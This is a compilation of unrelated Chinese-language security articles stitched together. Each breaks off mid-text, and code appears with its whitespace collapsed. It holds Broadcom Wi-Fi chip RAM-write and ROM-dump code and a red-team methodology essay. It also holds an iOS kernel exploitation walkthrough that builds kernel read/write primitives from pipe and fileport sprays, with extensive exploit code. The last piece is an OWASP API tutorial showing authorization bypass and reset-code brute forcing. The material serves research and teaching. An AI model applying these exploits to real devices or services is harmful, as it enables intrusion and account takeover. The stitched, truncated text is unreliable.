memset(margs,0,sizeof(t_broadmem)); margs.addr=strtol(ar[1],NULL,16); margs.op=1; if(errno==ERANGE) prt_badarg(ar[1]); len=strtol(ar[2],NULL,10); if(errno==ERANGE) prt_badarg(ar[2]); margs.buffer=hex2byte((unsignedchar*)ar[3],len); if((s=socket(AF_INET,SOCK_DGRAM,0))0) return(-1); strncpy(ifr.ifr_name,ar[0],IFNAMSIZ); margs.len=len; ifr.ifr_data=(char*)margs; if(!(ret=ioctl(s,SIOCDEVPRIVATE,ifr))) printf('[+]Writesuccesfull!\n'); else printf('[!]Failedtowrite.\n'); close(s); free(buf); return(ret); .現在我們可以讀寫芯片的RAM，我們可以通過以下方式轉儲ROM： 马云惹不起马云Hook位於RAM中並由動作X調用的函數 马云惹不起马云將ROM逐片複製到RAM中的空白區域 马云惹不起马云轉儲所有新復制的ROM片並將其串聯。 此協議與我們在芯片的MCU是Android上的Cortex-M3時使用的協議相同；但是，這次我們不得不修改驅動程序並構建自己的工具以使用新驅動程序的ioctl。 在RPI3芯片（bcm43430）上工作時，我們選擇了這種方法。 5）在特定情況下獲取ROM部分 還有許多其他可能的方案： 如果你的芯片將brcmfmac驅動程序與PCIe總線一起使用怎麼辦？如果你的芯片使用專有驅動程序“ wl”在嵌入式系統中怎麼辦？如果主機操作系統上沒有shell，該怎麼辦？或者，如果你沒有權限？等等. 在所有其他情況下，你都有幾種可能：如果可以訪問硬件，則可以尋找UART訪問，或者可以掛接wl驅動程序，在“ SFR微型解碼器”（bcm43236）上工作時，我們選擇了UART訪問。 RTE(usbrdl)v5.90(TOB)runningonBCM43235r3@20/96/96MHz. rdl0:BroadcomUSBRemoteDownloadAdapter ei1,ebi2,ebo1 RTE(USB-CDC)6.37.14.105(r)onBCM43235r3@20.0/96.0/96.0MHz 000000.007ei1,ebi2,ebo1 000000.054wl0:BroadcomBCM43235802.11WirelessController6.37.14.105(r) 000000.060nodisconnect 000000.064reclaimsection1:Returned91828bytestotheheap 000001.048bcm_rpc_buf_recv_mgn_low:HostVersion:0x6250e69 000001.054ConnectedSession:69! 000001.057revinfo 000063.051rpcuptime1minutes ? 000072.558reboot 000072.559rmwk 000072.561dpcdump 000072.563wlhist 000072.564rpcdump 000072.566md 000072.567mw 000072.569mu 000072.570? 波特率為115200 b/s，命令md允許將內存轉儲到特定地址，你應該指定地址以及要轉儲的DWORD數，有了一個很小的PySerial腳本，我們就能夠轉儲ROM並獲得實時RAM。 #!/usr/bin/envpython3 importserial importbinascii nb=65535 baseaddr=0 uart=serial.Serial('/dev/ttyUSB0',115200) uart.write(b'md0x%08x4%d\n'%(baseaddr,nb)) i=0 dump=b'' whilei!=nb: read=uart.readline().split(b'') ifb''inread[0]: continue ifb'rpc'inread[2]: continue print('Dump%s%s\r'%(read[1][:-1],read[2]),end='') dump+=binascii.unhexlify(read[

安全評估的目的是減少組織的總體風險，每一個視角都有其自身的價值。所有這些方法應該組合在一起產生一種有效的安全評估策略，該策略應盡可能覆蓋組織的攻擊面，並識別盡可能多的威脅。這樣，組織就可以最大限度地降低風險。在試圖編寫一份全面的安全評估報告時，並不是所有的初始視角都適用於任何情況。因此，必須超越每種攻擊面和風險評估的價值，並深入研究每種攻擊面和風險評估的其他優點和缺點。這使得評估人員不僅知道哪些視角是最需要的，而且還知道哪些視角在任何給定的評估場景中是最可行的。 引入風險在演練之前的任何安全性評估中，必須完成建立演練範圍和ROE這一極其重要的步驟。在開始評估組織的安全性之前，有嚴格的流程來遵循演練將如何執行的細節。不同的初始視角在理解和同意演練的範圍和規則方面呈現出不同的複雜性。演練範圍和ROE用於幫助組織確定演練可能引入的可接受的風險水平。 這種風險表現在兩個方面。首先，安全評估可能會通過評估活動攻擊重要的設備或服務，從而給組織帶來風險。第二，評估者從給定的角度進行評估所需的訪問可能會增加總體攻擊面或其嚴重程度。 外部視角與風險引入最初由外部視角評估的攻擊面是由專門在互聯網上提供的設備和服務組成的。這意味著設備和服務會遭受攻擊以及面臨大量的流量。然而，嘗試執行網絡掃描和漏洞利用所帶來的額外壓力仍然會使設備崩潰。儘管風險很低，但必須考慮到這一風險來源，因為失去一個面向互聯網的服務可能會影響組織的外部和內部用戶。因為評估人員不需要建立內部訪問來從外部視角進行評估，所以執行此類評估不會增加額外的攻擊面。 DMZ視角和風險引入與外部視角類似，DMZ視角最初側重於用於基於互聯網流量的設備和服務。評估導致的潛在停機所造成的風險同樣很低。評估人員訪問DMZ中的設備時不應帶來額外風險，因為DMZ的目的是將某些設備從網絡的其餘部分分割開來。由於DMZ評估視角從DMZ中的橫向位置而不是從互聯網上測試設備，因此嘗試執行網絡掃描和漏洞利用產生意外後果的可能性稍大一些。設備可能沒有準備好處理這種橫向通信，這可能會導致問題出現。這一視角要求在非軍事區（DMZ）內建立一個存在點，從該點開始評估。儘管這使得評估人員能夠深入組織的一個層次，但風險仍然可以忽略不計。交給評估人員的訪問由於其在非軍事區的性質與內部網絡隔離，因此由於其初始評估向量的額外攻擊面，因此不會造成額外風險。 內部視角和風險引入從內部視角進行的評估能夠立即與不面向互聯網的設備和服務交互。這些設備不太可能應對大量掃描或攻擊嘗試，因此從這個視角評估設備存在一定的風險。與外部用戶相比，此處的拒絕服務更可能導致內部用戶缺乏可用性。此外，此評估導致的停機更有可能影響組織功能。內部視角也增加了攻擊面。隨著一個組織授予必要的訪問權限，或者惡意軟件的成功引入，評估人員從這個視角將其他訪問方式引入到一個組織中。 關鍵視角和風險引入與其他初始視角相比，關鍵視角代表了組織運作能力的高風險水平。開展此類評估的初始原因主要是那些被確定為對組織存在能力極其關鍵的風險項。評估對此類設備造成的任何問題都可能損害組織正常運作的能力。攻擊面增加所造成的風險也相對較高。與內部視角一樣，關鍵視角要求組織引入訪問向量來開始評估。此訪問向量添加到組織中的攻擊面更危險，因為它直接指向高危風險項。評估員使用的訪問向量造成的損害對組織來說是極其危險的。在進行此類評估時應格外小心。 前面我介紹了CAPTR 團隊利用的關鍵初始演練視角以及已經在使用中的已建立視角。對這些初始演練視角如何影響進攻性安全評估的過程和結果進行了深入分析。讀者現在應該對初始化視角以及與關鍵初始化視角相關的好處有了更深入的了解。 反向紅隊通過CAPTR 團隊所使用的特定範圍的方法論選擇目標，並使用關鍵視角確定最合適的演練起點，即可開始執行評估。反向紅隊演練鏈路是一種從關鍵視角進行評估的獨特方式，它創建了一種報告機制，使用反向風險關係為此類業務提供極高的成本效益。下文將解釋反向演練鏈路的過程，以及它可以產生的好處和結果的表示。 反向紅隊演練鏈路反向紅隊演練鏈路是利用從初始範圍項目中被動收集的本地情報來定義攻擊者可能使用的訪問向量並適當擴展CAPTR團隊範圍的過程。為了提高高風險漏洞利用和訪問路徑的效率，反向紅隊演練鏈路將重點放在圍繞給定機器的可識別通信通道上，而不是圍繞整個網絡。這種方法為了精確目標的選擇和評估而犧牲了評估的目標數量。 本地評估在假定APT最終可以在入侵過程中實現這樣的上下文的情況下，使用提升的權限對作用域關鍵對象進行局部評估。在CAPTR團隊演練窗口開始時，將評估那些允許攻擊者影響洩露對象的機密性、完整性或可用性的本地權限提升漏洞和本地錯誤配置漏洞。此外，該本地上下文用於識別潛在的遠程訪問向量，例如代碼執行漏洞或糟糕的身份驗證配置。通過訪問本地存儲的數據和操作系統功能，CAPTR團隊評估人員可以有效識別攻擊者可用於初始範圍項目的訪問向量，而無需對潛在風險執行盲目的網絡掃描和漏洞利用。 強調此方法優點的最佳方法是通過使用下圖所示網絡的簡單示例。 CAPTR團隊以結果為導向的範圍界定表明，Linux文件服務器對組織構成了致命的危害，將從訪問服務器的關鍵初始角度進行評估。 CAPTR團隊評估方向性 在運行多個態勢感知命令後，評估人員使用本地可用的本機操作系統命令來確定組織中被視為致命危害對象的機器的大部分信息。 評估人員了解到Linux服務器使用的內核版本已過時，易受本地權限提升漏洞的攻擊。在組織中的這樣一台關鍵機器上從非特權用戶過渡到超級用戶的能力構成了極其危險的風險。如果其他評估模型沒有完全且成功地破壞網絡中的設備，導致並包括這台可能深入目標組織的機器，那麼這種風險也將不會在其他評估模型中被發現。 CAPTR團隊立即評估了該高風險項，在建立態勢感知的最初幾分鐘內，就發現了一個關鍵的可報告風險項，甚至沒有進行外部漏洞利用和擴展評估。 初始態勢感知命令通知評估人員，有三台機器與高風險機器通信。有一台計算機，可能是管理員，正在使用SSH遠程訪問和管理該計算機。此信息可在文件系統中找到。與SSH協議相關的日誌和文件位於計算機上的用戶目錄中，執行history 系統命令的結果中可以看到用戶的活動信息，很明顯是網絡管理員的典型活動。如果沒有CAPTR團隊中使用的本地特權視角，這些信息可能永遠不會被發現，如果已經被發現，這意味著典型的紅隊評估將遠程對多個設備執行漏洞利用，並將運行存在潛在危險的內核級權限提升exp，以便獲得與CAPTR 團隊在開始時所使用的方法看到的相同信息的權限。 評估人員通過在本機執行操作系統命令查看已建立連接的網絡信息表明還存在其他兩個通信對象。一個是訪問Linux服務器託管的80端口上的只讀web文件共享，另一個是訪問21端口上的文件傳輸服務器。進一步檢查後，評估人員確定文件傳輸服務器用於將文件放在Linux服務器上，供其他用戶查看和下載。通過進一步的本地情報收集，評估人員還發現，文件傳輸能力不限於特定位置，如web文件共享目錄，遠程文件傳輸可能會覆蓋通過機器調度機制以超級用戶權限執行的多個未受保護的腳本。 目前，尚未進行任何漏洞利用，我們在不到一天的評估時間內已經有以下極有價值的發現可以報告： ◼使用內核漏洞提升本地權限 ◼作為超級用戶執行遠程代碼 -作為超級用戶執行的可寫調度作業的權限配置不當 -無約束的文件傳輸服務器 本地情報分析評估還確定了致命風險項的三個一級通信對象。確定這些目標後，CAPTR團隊繼續進行分析，以確定評估這些主機的順序。這種優先順序對報告也很有價值，稍後將在確定哪些環節最危險時進行報告。這些風險鏈由來源、目的地、通信方法和權限構成。設備之間可能有多個風險鏈。例如，如果管理員的計算機可以通過SSH（作為管理用戶）或文件傳輸（作為非特權用戶）訪問關鍵主機（下圖中的Server），這意味著攻擊者需要在該第一層通信上獲得較少的特權才能攻擊關鍵主機。在繼續完成這個示例的過程中，我提供了一些簡單的優先順序和評估決策點。在現實生活中，每種場景都會對任何攻擊性安全評估施加其獨特的屬性，評估人員的決定可能會以不同的方式推進演練。該場景需要先澄清評估流程，但與流程本身不同的是，所包含的風險決策應作為示例而不是指導，因為它們可能因組織而異。 回到我們的例子。通過對演練範圍內致命危害項高危主機的本地評估我們可以確定的風險鏈如下： 10.0.0.2上的超級用戶可以使用SSH協議作為超級用戶訪問10.0.0.1 10.0.0.3上的非特權用戶可以使用FTP作為非特權用戶訪問10.0.0.1 10.0.0.4上的非特權用戶可以使用HTTP作為非特權用戶訪問10.0.0.1（見下圖） 通信鏈路 第一個風險鏈構成了攻擊關鍵主機Server的最大風險，因為它提供了超級用戶對關鍵主機Server的即時交互訪問。任何能夠破壞該第一層通信的攻擊者都會對Linux服務器造成嚴重威脅。 FTP風險鏈排第二，因為它提供了非特權訪問。但是，它還允許將文件移動到服務器，並且，根據我們對存在的已識別本地權限提升漏洞的了解，這是一條潛在的但更複雜的遠程交互路徑。 HTTP風險鍊是最後一個，因為它允許非特權用戶從特權主機下載數據，是只讀的，需要利用額外的漏洞才能攻擊關鍵主機Server。 全系列文章請查看：https://www.4hou.com/member/dwVJ

免責聲明：所有的技術解釋皆基於本人現有的知識，由於本人水平有限，所以錯誤在所難免。同時，文中的概念可能被有意或無意地過度簡化了。 簡介在Corellium網站上通過已得到修復的漏洞練習exploit的開發技巧的過程中，我開始思考如何利用Corellium的管理程序的“魔法”特性來練習通用的漏洞利用技術——即使不借助於特定的漏洞。之所以會有這個想法，是因為我受到了Brandon Azad下面這段話的啟發： “其次，我希望能夠在不借助於某個或多個特定漏洞的情況下來評估漏洞利用技術，以確定該技術的可行性（即，沒有失敗案例）；因為通過不可靠的漏洞來測試利用技術的話，一旦發生失敗，我們很難確定問題出在利用技術本身上面，還是因為漏洞不穩定所致。” 在瀏覽器領域，一個典型的漏洞利用策略是使用兩個ArrayBuffer對象，並將一個對象的後備存儲指針指向另一個對象，這樣arrayBuffer1就可以隨意且安全地修改arrayBuffer2-backing_store_pointer了，比如針對Tesla瀏覽器的漏洞利用代碼就採用了這種方式： 上圖中最重要的部分是綠色方框部分，對應arrayBuffer1，以及它的後備存儲指針，其中存放的是arrayBuffer2的地址（見右邊獨立的灰色方框）。這樣的話，通過對arrayBuffer1的索引，就可以修改arrayBuffer2內的相應字段了，特別是arrayBuffer2-backing_store_pointer字段。之後，通過索引arrayBuffer2，我們就能讀/寫所需的任意地址了。 實際上，含有BSD組件的iOS內核中有一個明顯的等價物：UNIX管道。並且，管道API的用法與典型的UNIX文件用法非常相似，但前者的內容並沒有保存到磁盤上的文件中，而是以“管道緩衝區”的形式存儲在內核的地址空間，這是一個單獨的內存空間（默認為512字節，但可以通過向管道寫入更多的數據來進行擴展）。因此，通過控制管道緩衝區的指針，就可以用來創建任意的讀/寫原語，具體方式與控制Javascript引擎中ArrayBuffer的後備存儲指針的方式基本相同。 例如，下面的代碼將創建一個管道，它被表示為一對文件描述符（一個是“read end”和一個是“write end”），然後，寫入32字節的字符A： intpipe_pairs[2]={0}; if(pipe(pipe_pairs)){ fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno)); exit(-1); } printf('Pipereadendfd:%d\n',pipe_pairs[0]); printf('Pipewriteendfd:%d\n',pipe_pairs[1]); charpipe_buf_contents[32]; memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents)); write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents)); charbuf[33]={0}; read(pipe_pairs[0],buf,32); printf('Readfrompipe:%s\n',buf);這至少會分配兩段內核空間：一段用於struct管道，一段用於管道緩衝區本身。要構建該技術，我們首先需要一個模擬漏洞。 Corellium就是魔法師Corellium有一個非常特殊的功能，它允許用戶態代碼任意讀/寫內核內存。雖然該特性是完全可靠的，但為了便於討論，我們將假裝有失敗的可能性，從而導致內核崩潰。因此，管道技術的全部意義在於將不可靠的原語“提升”為更好的原語。我們的示例原語將是任意讀取0x20字節(隨機選擇)以及任意寫入64位值： /*Simulatea0x20bytereadfromanarbitrarykerneladdress,representativeofaprimitivefromabug. *Callerisresponsibleforfreeingthebuffer. */ staticchar*corellium_read(uint64_tkaddr_to_read){ char*leak=calloc(1,128); unicopy(UNICOPY_DST_USER|UNICOPY_SRC_KERN,(uintptr_t)leak,kaddr_to_read,0x20); returnleak; } /*Simulatea64-bitarbitrarywrite*/ staticvoidcorellium_write64(uintptr_tkaddr,uint64_tval){ uint64_tvalue=val; unicopy(UNICOPY_DST_KERN|UNICOPY_SRC_USER,kaddr,(uintptr_t)value,sizeof(value)); }為了增加真實性，我們可以增加一個隨機的失敗機會，例如每次使用都有10%的機會引起內核崩潰，或者遞增失敗的概率。然而，為了構建該技術，我決定讓其保持100%的可靠性。 重要的是，這些原語沒有提供KASLR洩漏漏洞，所以開發過程的部分工作將圍繞這個弱點進行。雖然Corellium還提供了另一個神奇的hvc調用，可以提供內核基址，但這裡並不使用該調用。 創建管道原語首先，我們需要兩個管道，並分配緩衝區。這與上面的基本管道例子非常相似。 //Createtwopipes intpipe_pairs[4]={0}; for(inti=0;i4;i+=2){ if(pipe(pipe_pairs[i])){ fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno)); exit(-1); } } charpipe_buf_contents[64]; memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents)); write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents)); memset(pipe_buf_contents,0x42,sizeof(pipe_buf_contents)); write(pipe_pairs[3],pipe_buf_contents,sizeof(pipe_buf_contents));現在，我們需要在內核內存中定位這些結構。其中，一種方法是使用任意讀取來遍歷struct proc鍊錶，以查找exploit進程，然後遍歷其p_fd-fd_ofiles數組，以查找管道的fileglob，最後讀取fileglob-fg_data，這將是一個struct管道。不幸的是，這需要多次讀取，並且，我們還要假裝read原語是不可靠的。它還需要了解KASLR的slide，以便找到struct proc列表的頭部。總而言之，我們需要一種不同的方法。 Fileports：XNU的多味巧克力實際上，有一個API可用於通過Mach端口共享UNIX文件描述符，同時，Mach端口噴射技術已經由來已久。創建文件端口的API非常簡單： intpipe_read_fd=[.];//Assumethiswascreatedelsewhere mach_port_tmy_fileport=MACH_PORT_NULL; kern_return_tkr=fileport_makeport(pipe_read_fd,my_fileport);通過創建大量這樣的端口（比如，100k），那麼，其中一個Mach端口落在可預測的地址上的機率就會變得相當高。並且，該端口的kobject字段將指向管道的fileglob對象，其中包含兩個非常有用的字段： fg_ops：一個指向函數指針數組的指針。通過它，內核就知道如何調用pipe_read了，而非調用vn_read（用於磁盤上的普通文件）。這個指針位於內核的__DATA_CONST段中，這意味著這裡存在一個KASLR洩漏漏洞! fg_data：一個指向struct管道的指針，這正是我們夢寐以求的東西。 同時，該struct管道還包含一個嵌入式結構（struct pipebuf），其中保存的是管道緩衝區的地址。通過使用兩次任意讀取原語，我們就可以確定struct管道的地址。為了達到我們的目的，我們還必須再一次定位管道的地址，所以，我們總共需要使用四次任意讀取原語。但是，我們該如何找出相應的內核地址呢？ 更多Corellium魔法：管理程序鉤子我們可以使用管理程序鉤子輸出每個fileport分配的內存地址，然後選擇一個在多次運行中出現的地址，而不是胡亂猜測。 另外，這些鉤子可以通過調試器命令放置，但之後它們將獨立於調試器運行。因此，它們比斷點運行得快得多，並且可以直接記錄到設備的虛擬控制台，這使得提取數據以供後續分析變得容易了許多。 我們的鉤子應盡可能簡單——在執行到特定地址時，只需打印寄存器的值即可，例如： (lldb)processpluginpacketmonitorpatch0xFFFFFFF00756F4F8print_int('Fileportallocated',cpu.x[0]);print('\n');其中，process plugin packet monitor用於告訴lldb，將原始“monitor”命令發送給遠程調試器存根。據這些鉤子文檔稱，這些命令在lldb中“通常是不可用的”，但至少對這個鉤子來說似乎是有效的。 該命令的其餘部分用於鉤住指定的地址，並將X0寄存器的內容打印到設備的控制台。幸運的是，鉤子的輸出是以不同的文字顏色顯示的，所以很容易發現。 為了給鉤子函數做好準備，我們需要確定要鉤住新分配的內存中的哪個地址，而這些地址通常會保存在寄存器中。下面，讓我們來看一下fileport_makeport的實現代碼： int sys_fileport_makeport(proc_tp,structfileport_makeport_args*uap,__unusedint*retval) { interr; intfd=uap-fd;//[1] user_addr_tuser_portaddr=uap-portnamep; structfileproc*fp=FILEPROC_NULL; structfileglob*fg=NULL; ipc_port_tfileport; mach_port_name_tname=MACH_PORT_NULL; [.] err=fp_lookup(p,fd,fp,1);//[2] if(err!=0){ gotoout_unlock; } fg=fp-fp_glob;//[3] if(!fg_sendable(fg)){ err=EINVAL; gotoout_unlock; } [.] /*Allocateandinitializeaport*/ fileport=fileport_alloc(fg);//[4] if(fileport==IPC_PORT_NULL){ fg_drop_live(fg); err=EAGAIN; gotoout; } [.] }在[1]處，文件描述符是從一個結構體類型的參數中接收的，它將與用戶空間中看到的、表示管道fd的整數相匹配。 在[2]處，將fd（例如3）轉換為表示內核內存中管道的fileproc對象指針。然後，在[3]處，解除fp_glob指針的引用，檢索管道的fileglob。 在[4]處，創建Mach端口，該端口封裝了fileglob對象，並將其指針放置在kobject字段中。其中，fileport是我們要記錄的地址，它是fileport_alloc的返回值，因此，它位於X0寄存器中。下面，讓我們來看看fileport_alloc的具體代碼： ipc_port_t fileport_alloc(structfileglob*fg) { returnipc_kobject_alloc_port((ipc_kobject_t)fg,IKOT_FILEPORT, IPC_KOBJECT_ALLOC_MAKE_SEND|IPC_KOBJECT_ALLOC_NSREQUEST); }這個函數很短，並且只引用了一次，所以，它很可能是內聯的。接下來，我們需要找到kernelcache內部的等效代碼。幸運的是，jtool2可以幫助我們完成這個任務。為此，我們首先需要通過Corellium的Web界面的“Connect”選項卡下載kernelcache，然後，就可以利用jtool2的分析功能來創建符號緩存文件了： $jtool2--analyzekernel-iPhone9,1-18F72 Analyzingkernelcache. Thisisanold-styleA10kernelcache(DarwinKernelVersion20.5.0:SatMay802:21:50PDT2021;root:xnu-7195.122.1~4/RELEASE_ARM64_T8010) Warning:ThisversionofjokersupportsuptoDarwinVersion19-andreportedversionis20 --Processing__TEXT_EXEC.__text. Disassembling6655836bytesfromaddress0xfffffff007154000(offset0x15001c): __ZN11OSMetaClassC2EPKcPKS_jis0xfffffff0076902f8(OSMetaClass) Can'tgetIOKitObject@0x0(0xfffffff007690b5c) [.] openedcompanionfile./kernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB Dumpingsymbolcachetofile Symbolicated7298symbolsand9657functions然後，我們可以利用grep命令處理該文件，以找到我們需要的兩個符號： $grepipc_kobject_alloc_portkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB 0xfffffff00719de7c|_ipc_kobject_alloc_port| $grepfileport_makeportkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB 0xfffffff00756f3a4|_fileport_makeport|現在，我們只需從fileport_makeport中找到對ipc_kobject_alloc_port的調用即可： 需要注意的是，這個調用指令後的指令面，就是我們要掛鉤的指令，其地址為0xFFFFFFF00756F4F8。由於啟用了KASLR機制，直接修改這個地址是無法奏效的。幸運的是，如前所述，我們可以藉助於虛擬機管理程序的另一種魔法，即通過調用提供的get_kernel_addr函數從userspace獲得slid內核基的方法： #defineKERNEL_BASE0xFFFFFFF007004000 uint64_tkslide=get_kernel_addr(0)-KERNEL_BASE; printf('Kernelslide:0x%llx\n',kslide); printf('Placehypervisorhook:\n'); uint64_tpatch_address=g_kparams-fileport_allocation_kaddr+kslide; printf('\tprocesspluginpacketmonitorpatch0x%llxprint_int(\'Fileportallocated\',cpu.x[0]);print(\'\\n\');\n',patch_address); printf('Pressentertocontinue\n'); getchar();通過將這段代碼放到exploit的開頭處，不僅能為附加調試器和安裝鉤子提供必要的時間，還能為給定的kernelcache提供正確的slid地址。 一旦鉤子安裝到位，我們就可以噴射100k fileport，並選擇一個作為我們要猜測的內存地址。我簡單地向上滾動了一下，在列表的3/4處隨機選擇了一個，這對於PoC來說似乎足夠好了。一個更嚴謹的做法，是通過多次運行來跟踪地址範圍，並嘗試挑選一個已知的高概率的地址，例如如Justin Sherman的IOMobileFrameBuffer漏洞利用代碼就採用了這種方式。 現在我們有了一個猜測對象，我們可以執行兩次相同的噴射操作（為每個管道的讀端fd噴射一次），並讀取kobject字段來定位struct管道；下面是完整的實現代碼： structkpipe{ intrfd; intwfd; uint64_tfg_ops; uint64_tr_fg_data; }; staticstructkpipe*find_pipe(intrfd,intwfd){ structkpipe*kp=NULL; char*leak=NULL; char*fileglob=NULL; char*fg_data=NULL; printf('[*]Sprayingfileports\n'); mach_port_tfileports[NUM_FILEPORTS]={0}; for(inti=0;iNUM_FILEPORTS;i++){ kern_return_tkr=fileport_makeport(rfd,fileports[i]); CHECK_KR(kr); } printf('[*]Donesprayingfileports\n'); #ifdefSAMPLE_MEMORY //Noneedtocontinue,justexit printf('[*]Finishedcreatingmemorysample,exiting\n'); exit(0); #endif uint64_tkaddr_to_read=g_kparams-fileport_kaddr_guess; leak=read_kernel_data(kaddr_to_read+g_kparams-kobject_offset);//port-kobject,shouldpointtoastructfileglob if(!leak){ printf('[!]Failedtoreadkerneldata,willlikelypanicsoon\n'); gotoout; } uint64_tpipe_fileglob_kaddr=*(uint64_t*)leak; if((pipe_fileglob_kaddr0xff00000000000000)!=0xff00000000000000){ printf('[!]Failedtolandthefileportspray\n'); gotoout; } pipe_fileglob_kaddr|=0xffffff8000000000;//PointermightbePAC'd printf('[*]Foundpipestructure:0x%llx\n',pipe_fileglob_kaddr); //+0x28pointstofg_opstoleaktheKASLRslide //+0x38pointstofg_data(structpipe) fileglob=read_kernel_data(pipe_fileglob_kaddr+0

應用程序編程接口或API 通過實現流暢的數據交換來連接我們使用的軟件和服務。他們經常交換高度敏感的信息：個人數據、用戶憑據、財務詳細信息等。這就是為什麼API 是黑客攻擊的熱門目標——根據API 安全狀況報告，91% 的公司在2020 年經歷了API 安全事件[PDF ]。 在本文中，我們概述了OWASP API 安全項目中最普遍的API 漏洞，展示了它們是如何被利用的，並提供了在開發過程中保護您的API 免受此類安全問題的方法。 最普遍的API 漏洞是什麼？在處理應用程序安全時，保護API 是關鍵任務之一，因為API 通常是攻擊者的網關。 Gartner 預測，到2022 年，API 濫用將成為最常見的黑客攻擊媒介，並將導致許多數據洩露。 根據OWASP API 安全項目提供的API 安全前10 名（2019 年）列表，通過關注API 的前10 大安全風險，優先考慮保護API 的工作。 OWASP 十大API 安全風險 了解攻擊者如何利用代碼中的弱點是在API 開發過程中防範風險的關鍵步驟之一。在本文中，我們將向您展示攻擊者究竟如何利用列表中的前六個漏洞的示例。我們不會關注最後四個API 安全挑戰，因為它們與安全機制的不當應用有關。 為了向您展示惡意行為者如何利用這些漏洞，我們創建了一個不受保護的API。我們將展示其代碼的哪些部分為黑客打開了大門，並討論瞭如何修復它們。讓我們從部署不受保護的API 開始。 創建示例API在本文中，我們將為簡單的任務管理系統創建一個API。該系統具有不同訪問級別的用戶，並允許他們執行簡單的任務。此外，該系統允許用戶管理活動：自助註冊、創建、編輯和刪除用戶帳戶。 API 將具有以下端點： API 端點的類別 您可以使用任何Linux 發行版作為此API 的環境。要部署API，請執行以下步驟： 1.安裝Docker 2.安裝Docker Compose 3.在local.cfg 中配置電子郵件地址（您將需要此地址來發送密碼重置電子郵件） 4.轉到API 文件夾並執行docker-compose up --build 命令 您還可以從我們的GitHub 存儲庫下載此示例API 。 API 管理員帳戶的憑據是： 马云惹不起马云 用戶名：管理員 马云惹不起马云密碼：管理員 要閱讀API 文檔，請將./swagger/swagger.yaml 文件從API 上傳到Swagger Editor。部署API 後，我們可以開始利用漏洞並修復它們。 損壞的對象級授權一些API 公開對象標識符，這對於訪問控制機制至關重要。這些機制驗證用戶只能訪問他們有權訪問的資源。為了利用對象級授權被破壞的API，攻擊者在API 調用中更改請求資源的身份驗證數據並獲取對受保護數據的訪問權限。 在我們的示例API 中，只有用戶自己和管理員可以查看用戶的帳戶詳細信息。此外，我們在API 開發期間添加了一個安全漏洞，並確保GET /user 端點包含對象級授權漏洞。為了檢測它，我們需要： 马云惹不起马云註冊兩個用戶 马云惹不起马云 通過POST /login 端點以user1 身份登錄系統 马云惹不起马云獲取身份驗證令牌 我們使用這個請求登錄系統： API 使用以下數據響應我們的請求： 這是我們的身份驗證令牌： 如果我們可以獲取令牌，我們可以使用它通過GET /user 端點請求user2 數據：It was originally published on https://www.apriorit.com/ 我們易受攻擊的API 使用user2 數據進行響應： 如果我們的API 受到對象級授權攻擊的保護，它將使用以下消息響應GET /user 端點請求： 損壞的用戶身份驗證用戶身份驗證問題可能允許攻擊者冒充用戶、訪問他們的個人數據並濫用訪問權限。通常，此類漏洞隱藏在密碼重置機制中。讓我們看看如何在API 中利用損壞的用戶身份驗證。 我們首先執行這個密碼重置請求： 請求成功通過後，我們將收到一封電子郵件，其中包含四位數的重置代碼至user@mail.com。之後，我們可以提出以下請求來更改密碼： API 不限制嘗試輸入重置代碼的次數，這就是為什麼為註冊到user@mail.com的用戶帳戶獲取新密碼特別容易的原因。要猜測重置代碼，我們只需要編寫一個腳本，嘗試使用從0000 到9999 的所有代碼：It was originally published on https://www.apriorit.com/ 當腳本輸入正確的重置代碼時，我們將收到包含新密碼的響應： 通過利用這個對象級授權漏洞，我們可以獲取擁有該郵箱的用戶的登錄信息，登錄到他們的賬戶，然後更改郵箱。 在我們的示例API 中，存在一個安全威脅，它允許我們使用相同的重置代碼多次重置用戶的密碼。我們可以使用代碼1111 傳遞此請求，並隨時更改用戶密碼： 過多的數據暴露當開發人員為API 和客戶端之間的通信實施通用機制時，可能會出現此API 安全漏洞。在這種情況下，API 可能會向客戶端發送比它需要的更多的數據，客戶端必須過濾數據並隱藏用戶不相關的信息。攻擊者可以嗅探此流量並從中提取敏感信息：身份驗證令牌、帳號、電子郵件地址等。 為了在我們的API 中演示此漏洞，我們將從GET /task 端點請求任務的ID 和有關用戶的完整信息。這個端點應該只返回任務ID，但讓我們看看會發生什麼。 這是我們的要求： 以下是GET /task 端點的響應方式： 如果攻擊者截獲此響應，他們將獲得API 擁有的有關用戶的所有信息，即使這些信息在API 的客戶端中不可用。 缺乏資源和速率限制API 可以使用CPU、RAM 和磁盤資源來處理請求。開發者通常會根據應用程序的業務邏輯來選擇分配給API 的資源。如果攻擊者設法繞過業務邏輯限制以造成API 必須處理的請求超出其設計目標的情況，則應用程序將耗盡資源並開始出現故障或變得不可用。 在我們的API 中，GET /tasks 包含此漏洞。該端點支持分頁——將RAM 中的數據存儲在硬盤上。攻擊者可以濫用此功能來重載API。 假設應用程序在一頁上顯示10 個任務。顯示任務的請求將如下所示： 攻擊者可以使用放大的大小參數發送自己的請求以重載API： 如果數據庫中分配給請求任務的用戶的任務過多，API 將過載，導致拒絕服務。 功能級別授權損壞錯誤配置的授權機制允許攻擊者未經授權訪問敏感資源並竊取、編輯或創建新用戶帳戶。為了檢測此漏洞，攻擊者發送請求以訪問他們不應訪問的對象。 我們將GET /admin/users 端點添加到我們的API 以演示此漏洞。此端點返回在應用程序中註冊的所有用戶的數據，而不檢查誰請求了數據（用戶或管理員）。以下是此類請求的示例： GET /admin/users 端點使用以下代碼進行響應： 批量分配一些開發人員設計他們的API 以在將來自應用程序的輸入綁定到代碼和內部對象時自動分配對象屬性。許多框架提供批量分配功能以幫助加快開發速度。 這種方法對開發人員來說很方便，但它也允許用戶更改他們不應訪問的對象屬性。此外，攻擊者可以嘗試猜測對象屬性或根據他們的要求用新的屬性替換它們。如果API 容易受到此類請求的攻擊，攻擊者可以獲取有關敏感對象的信息、閱讀文檔或修改數據對象。 在我們的API 中，用戶對象存在這個漏洞。它有一個帶有兩個可能值的user_type 